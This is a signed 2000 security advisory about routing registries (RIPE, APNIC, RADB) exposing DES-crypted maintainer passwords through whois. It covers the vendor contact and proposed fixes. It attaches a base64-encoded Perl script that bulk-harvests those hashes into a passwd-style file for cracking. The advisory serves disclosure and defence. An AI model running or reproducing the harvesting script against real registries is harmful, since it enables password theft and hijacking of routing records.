RIPE, APNIC, RADB update insecurities [re: [APNIC #62050]]

[Raju Mathur <raju () linux-delhi org>]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I found the following potential issues in the top-level routing
registries:


DISCLAIMER
- ----------

Raju Mathur is not responsible for the misuse of any of the
information and/or program(s) present in this message.  The message
and program(s) are provided as a service to the Internet community.
Raju Mathur is not liable for any damages, direct or indirect, caused
by the information or program(s) present in this advisory.

BACKGROUND
- ----------

The Routing Registries maintain databases of all routing information
including Autonomous System Numbers and IN.ADDR-ARPA reverse lookups.
The registries display DES-encrypted passwords to the general public,
and the database update process is prone to being cracked.

VENDOR CONTACT
- --------------

Contacted RIPE, APNIC and RADB on 25 November, 2000.  Responses
indicate that the database format and information revealed were
decided by the community and cannot be changed until the community as
a whole votes to change them.  I have a copy of the complete
correspondence if anyone's interested.

UPDATE PROCESS
- --------------

If you are a maintainer for an AS or an IN-ADDR.ARPA domain, you can
use any of the following methods to update information about your
records (this is from my personal understanding, there could be minor
differences between different registries):

1. NONE.  You send updates by e-mail or through a web form to the
registry, which are reviewed by the hostmaster and applied if they are
syntatically and semantically OK.

2. MAIL-FROM.  You send updates by e-mail or through the web form to
the registry, which makes syntax and semantic checks and contacts you
on your registered e-mail address.  Once you reply in the affirmative,
the updates are applied.

3. CRYPT-PW.  The web forms allow you to apply semantically correct
updates immediately if you choose CRYPT-PW as your authentication
method.  You only need your password to change the database.  There is
no human review of the update.

4. PGP.  You send a PGP-signed message to the hostmaster, who verifies
that the signature is correct, makes syntax and semantic checks and
updates the database.

ISSUES
- ------

I'm not going to go into problems associated with MAIL-FROM and NONE
authentication methods since (a) they have already been thrashed out
in the context of the domain registries and (b) they require human
intervention at some point.  PGP also seems quite safe (as safe as
using PGP is).

The CRYPT-PW method of update is of interest here.  Essentially anyone
who manages to get hold of your plaintext CRYPT-PW (which uses DES as
the encryption method) can masquerade as you and make changes to the
databases without any other human intervention at all.  This can lead
to serious security and network outage issues in the short term.  So
far I thought that long-term implications were minimal since the
original maintainer would be notified about rogue changes, but I'm not
too sure about what happens if you change the maintainers contact
address also.

The problem is that the registries are constrained by their users to
reveal the CRYPT'ed password to the general public through a simple
whois mechanism.  Doing a whois on the maintainer object in a registry
reveals the CRYPT'ed password if s/he has one, after which there are
any number of tools which would permit you to attempt to crack or
brute-force the password.

EXPLOIT
- -------

Not really an exploit, but the attached Perl script (which has been
tested on Linux with fwhois) will help you to extract DES-encrypted
passwords from maintainer objects related to a range of Autonomous
System Numbers (ASN's) and put them into a Unix-style password file
which can be fed to Crack & co. for further ``processing''.

Run it as:

    who.pl output-file APNIC|RIPE start-asn end-asn

where output-file will be the file with the Unix-style passwd
information including the encrypted password, APNIC or RIPE are which
registry you wish to glean passwords from (it's trivial to modify the
program to glean passwords from RADB) and start- and end-asn's define
the block of AS numbers whose maintainer objects you are trying to to
extract passwords from.

SOLUTIONS
- ---------

Solutions exist at a number of levels:

1. Personal.  Do not use CRYPT-PW as your authentication mechanism if
you are a maintainer.  All the registries recommend the use of PGP and
will help you get started with PGP if you need that.

2. Community.  Take a decision not to display the authentication
mechanism to the general public, especially the encrypted passwords.
It should be trivial to change the whois server code to conceal the
passwords.

3. Registry.  Encourage all your users to switch to a more secure
method of sending updates.  Define a date by which all users must
switch.  Remove the ``NONE'' authentication method altogether.  For
MAIL-FROM use unique, random identifiers for each request which must
be present in the update confirmation message.

Regards,

- -- Raju

- --[[application/octet-stream
Content-Disposition: attachment; filename="who.pl"][base64]]
IyEvdXNyL2Jpbi9wZXJsIC13CiMKIyBCcnV0ZSBmb3JjZSBjcmVhdGUgYSAvZXRjL3Bhc3N3
ZC1saWtlIGZpbGUgd2l0aCBERVMtZW5jcnlwdGVkIHBhc3N3b3JkcwojIGZyb20gZHVtYiB3
aG9pcyBsb29rdXBzIG9uIFJJUEUgYW5kIEFQTklDLiAgQ2FuIGJlIGVhc2lseSBtb2RpZmll
ZAojIHRvIGhhbmRsZSBSQURCIHRvby4gIE9uY2UgdGhlIGZpbGUgaXMgY3JlYXRlZCwgcnVu
IENyYWNrIChvciB5b3VyIGZhdm91cml0ZQojIERFUy1jcmFjayBwcm9ncmFtKSBvbiBpdCBh
bmQgY3JlYXRlIHNvbWUgaGVhZGFjaGUgZm9yIHRoZSBgYEludGVybmV0CiMgY29tbXVuaXR5
Jycgd2hpY2ggaGFzIGRlY2lkZWQgdG8gcmV2ZWFsIERFUy1lbmNvZGVkIHBhc3N3b3JkcyBh
cyBwYXJ0CiMgb2YgYSB3aG9pcyBsb29rdXAgb24gYSBtYWludGFpbmVyIG9iamVjdC4KIwoj
IENvcHlyaWdodCAyMDAwLCBSYWp1IE1hdGh1ciA8cmFqdUBsaW51eC1kZWxoaS5vcmc+LCA8
cmFqdUBrYW5kYWxheWEub3JnPgojCiMgVGhpcyBwcm9ncmFtIGlzIGF2YWlsYWJsZSB1bmRl
ciB0aGUgdGVybXMgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBMaWNlbnNlCiMKdXNlIHN0
cmljdCA7CiMKIyBDdXJyZW50bHkgd2lsbCB3b3JrIG9uIFJJUEUgYW5kIEFQTklDCiMKbXkK
ICAkY291bnQgPSAwIDsKbXkKICAkb3V0ZmlsZSA9IHNoaWZ0IDsKbXkKICAkcmVnaXN0cnkg
PSBzaGlmdCA7CmlmICggIWRlZmluZWQgJG91dGZpbGUgfHwgIWRlZmluZWQgJHJlZ2lzdHJ5
CiAgICAgfHwgJHJlZ2lzdHJ5ICF+IC9hcG5pYy9pICYmICRyZWdpc3RyeSAhfiAvcmlwZS9p
ICkKewogIHByaW50IFNUREVSUiAidXNhZ2U6ICQwIG91dHB1dC1maWxlIEFQTklDfFJJUEUg
W3N0YXJ0IEFTXSBbZW5kIEFTXVxuIiA7CiAgZXhpdCAxIDsKfQpvcGVuIE9VVCAsICI+JG91
dGZpbGUiCiAgb3IgZGllICJDYW5ub3Qgd3JpdGUgdG8gJG91dGZpbGU6ICQhXG4iIDsKbXkK
ICAkc3RhcnRhcyA9IHNoaWZ0IDsKJHN0YXJ0YXMgPSAxCiAgaWYgIWRlZmluZWQgJHN0YXJ0
YXMgOwpteQogICRlbmRhcyA9IHNoaWZ0IDsKJGVuZGFzID0gMTIwMDAKICBpZiAhZGVmaW5l
ZCAkZW5kYXMgOwpteQogICRzZXJ2ZXIgPSAid2hvaXMuYXBuaWMubmV0IiA7CiRzZXJ2ZXIg
PSAid2hvaXMucmlwZS5uZXQiCiAgaWYgJHJlZ2lzdHJ5ID1+IC9yaXBlL2kgOwpteQogICRt
YWludGFpbmVyIDsKbXkKICAkZGVzY3IgOwpteQogICRub3RpZnkgOwpteQogICRhdXRoIDsK
bXkKICAkcGFzc3dkIDsKZm9yZWFjaCBteSAkaSAoICRzdGFydGFzLi4kZW5kYXMgKQp7CiAg
cHJpbnQgIioqKiBBUyRpXG4iIDsKICBvcGVuIFdIT0lTICwgIndob2lzIEFTJGlcQCRzZXJ2
ZXJ8IgogICAgb3IgZGllICJDYW5ub3Qgd2hvaXMgQVMkaTogJCFcbiIgOwogIHdoaWxlICgg
PFdIT0lTPiApCiAgewogICAgaWYgKCAvXm1udC1ieTpccyooLiopLyApCiAgICB7CiAgICAg
ICRtYWludGFpbmVyID0gJDEgOwogICAgICBsYXN0IDsKICAgIH0KICB9CiAgY2xvc2UgV0hP
SVMgOwogIG5leHQKICAgIGlmICEkbWFpbnRhaW5lciA7CiAgcHJpbnQgIioqKiAkbWFpbnRh
aW5lclxuIiA7CiAgb3BlbiBXSE9JUyAsICJ3aG9pcyAkbWFpbnRhaW5lclxAJHNlcnZlcnwi
CiAgICBvciBkaWUgIkNhbm5vdCB3aG9pcyAkbWFpbnRhaW5lcjogJCFcbiIgOwogICRkZXNj
ciA9ICIiIDsKICB3aGlsZSAoIDxXSE9JUz4gKQogIHsKICAgIGlmICggJF8gPX4gL15kZXNj
cjpccyooLiopLyApCiAgICB7CiAgICAgICRkZXNjciAuPSAiJDEsICIgOwogICAgfQogICAg
aWYgKCAkXyA9fiAvXm1udC1uZnk6XHMqKC4qKS8gKQogICAgewogICAgICAkbm90aWZ5ID0g
JDEgOwogICAgfQogICAgaWYgKCAkXyA9fiAvXmF1dGg6XHMqKC4qKS8gKQogICAgewogICAg
ICAkYXV0aCA9ICQxIDsKICAgIH0KICAgIGxhc3QgaWYgJGF1dGggJiYgJGF1dGggPX4gL2Ny
eXB0LXB3L2kgOwogIH0KICBuZXh0CiAgICBpZiAhJGF1dGggfHwgJGF1dGggIX4gL2NyeXB0
LXB3L2kgOwpwcmludCAiKioqIDwkZGVzY3I+IDwkbm90aWZ5PiA8JGF1dGg+XG4iIDsKICBj
bG9zZSBXSE9JUyA7CiAgJGF1dGggPX4gLy4qY3J5cHQtcHdccyooLiopL2kgOwogICRwYXNz
d2QgPSAkMSA7CiAgJGRlc2NyID1+IHMvW1xuOl0vL2cgOwogICRub3RpZnkgPX4gcy86Ly9n
IDsKICBwcmludCBPVVQgIiRtYWludGFpbmVyOiRwYXNzd2Q6NDI6NDI6JGRlc2NyOi9kZXYv
bnVsbDovYmluL3NoXG4iIDsKICAkYXV0aCA9ICIiIDsKICAkY291bnQrKyA7Cn0KY2xvc2Ug
T1VUIDsKcHJpbnQgIiRjb3VudCByZWNvcmRzXG4iIDsK
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.1 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.5 and Gnu Privacy Guard <http://www.gnupg.org/>

iEYEARECAAYFAjotvCEACgkQyWjQ78xo0X94dACfcsDJ3l0Bmcyx1lsLJiTGBR1P
Y64An3DG7QZV0wsFlzArEDiUOQJdQEt7
=kjtc
-----END PGP SIGNATURE-----